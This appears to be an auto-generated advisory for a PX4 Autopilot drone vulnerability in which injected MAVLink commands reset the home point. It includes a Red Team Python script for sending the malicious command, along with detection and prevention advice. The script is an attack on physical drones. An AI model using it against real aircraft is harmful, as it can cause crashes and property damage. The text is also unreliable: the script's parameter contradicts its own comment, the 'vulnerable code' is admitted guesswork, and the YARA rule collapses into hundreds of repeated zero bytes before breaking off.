CVE-2024-29460
Executive Summary
CVE-2024-29460 is a critical vulnerability in the PX4 Autopilot v1.14.0, specifically within the mission_block.cpp component. An attacker can manipulate the home point location, leading to an altered flight path and potential drone crash. This vulnerability allows for a denial of service (DoS) by causing the drone to deviate from its intended mission, potentially resulting in physical damage or loss of the drone. The vulnerability is unpatched, and no official fix has been released by the vendor.
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Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in the PX4 Autopilot open-source project. The risk is primarily for organizations that deploy drones using this specific version of the PX4 firmware.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is unusual and likely indicates that a full CVSS vector has not been assigned. However, based on the description, a reasonable assessment would be:
- Attack Vector (AV): Network (AV:N) - The attacker can send malicious data over the network.
- Attack Complexity (AC): Low (AC:L) - No special conditions are required.
- Privileges Required (PR): None (PR:N) - No authentication is needed.
- User Interaction (UI): None (UI:N) - No user action is required.
- Scope (S): Unchanged (S:U) - The vulnerability affects only the drone's flight controller.
- Confidentiality (C): None (C:N) - No data is exposed.
- Integrity (I): High (I:H) - The flight path is altered.
- Availability (A): High (A:H) - The drone can crash, causing a denial of service.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Estimated Base Score: 9.1 (Critical)
Deep Dive & Mechanics
The vulnerability resides in the mission_block.cpp component of PX4 Autopilot v1.14.0. This component is responsible for managing mission waypoints, including the home point. The home point is a critical coordinate that the drone uses as a reference for return-to-home (RTH) and other navigation functions.
The issue is an improper input validation (CWE-20) flaw. An attacker can inject a malicious home point location via the MAVLink protocol, which is used for communication between the ground control station (GCS) and the drone. By manipulating the home point, the attacker can cause the drone to calculate an incorrect flight path, leading to a crash or loss of control.
The attack does not require authentication, as MAVLink commands are often sent without proper validation. The attacker only needs to be on the same network as the drone or have a way to inject MAVLink messages.
Vulnerable vs. Patched Code
Since no patch is available, a direct comparison is not possible. However, the vulnerable code likely lacks input validation for the home point coordinates. A patched version would include checks to ensure the home point is within a reasonable geographic area and that it is not set to an extreme or invalid value.
Vulnerable Code (Conceptual):
// mission_block.cpp (v1.14.0)
void set_home_point(float lat, float lon, float alt) {
// No validation of input coordinates
home_point.lat = lat;
home_point.lon = lon;
home_point.alt = alt;
}
Patched Code (Conceptual):
// mission_block.cpp (patched)
void set_home_point(float lat, float lon, float alt) {
// Validate input coordinates
if (lat < -90.0 || lat > 90.0 || lon < -180.0 || lon > 180.0) {
// Log error and reject
return;
}
// Additional checks for altitude and distance from current position
home_point.lat = lat;
home_point.lon = lon;
home_point.alt = alt;
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A drone running PX4 Autopilot v1.14.0.
- A computer with MAVLink tools (e.g., MAVProxy, QGroundControl).
- Network access to the drone (Wi-Fi or telemetry radio).
Exploitation Steps:
- Connect to the drone's telemetry stream.
- Use a MAVLink library (e.g., pymavlink) to send a
MAV_CMD_DO_SET_HOMEcommand with manipulated coordinates. - The drone will accept the new home point without validation.
- Trigger a return-to-home (RTH) or mission start; the drone will fly to the malicious home point, potentially crashing.
Example Python Script:
#!/usr/bin/env python3
import pymavlink.mavutil as mavutil
# Connect to drone
master = mavutil.mavlink_connection('udp:0.0.0.0:14550')
master.wait_heartbeat()
# Malicious home point (e.g., middle of ocean)
lat = 0.0
lon = 0.0
alt = 0.0
# Send command to set home point
master.mav.command_long_send(
master.target_system,
master.target_component,
mavutil.mavlink.MAV_CMD_DO_SET_HOME,
0, # confirmation
0, # param1 (0 = use current location, 1 = use specified location)
0, # param2 (unused)
0, # param3 (unused)
0, # param4 (unused)
lat,
lon,
alt
)
print("Malicious home point set!")
Blue Team
Detection:
- Monitor MAVLink traffic for unexpected
MAV_CMD_DO_SET_HOMEcommands. - Log all home point changes and compare with expected values.
- Use network segmentation to isolate drone traffic.
Prevention:
- Implement input validation on the GCS side.
- Use encrypted MAVLink2 with signing to prevent unauthorized commands.
- Regularly update firmware to the latest version.
Indicators of Compromise (IOCs)
- Network: MAVLink packets with
MAV_CMD_DO_SET_HOME(command ID 179) from an unexpected source. - Logs: Drone logs showing a sudden change in home point coordinates to an unusual location (e.g., lat=0, lon=0).
- Behavior: Drone deviating from planned mission or performing unexpected RTH.
Detection Engineering
YARA Rule
rule CVE_2024_29460_HomePointManipulation {
meta:
description = "Detects MAVLink packets setting a malicious home point"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-29460"
strings:
$mavlink_header = { FE 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 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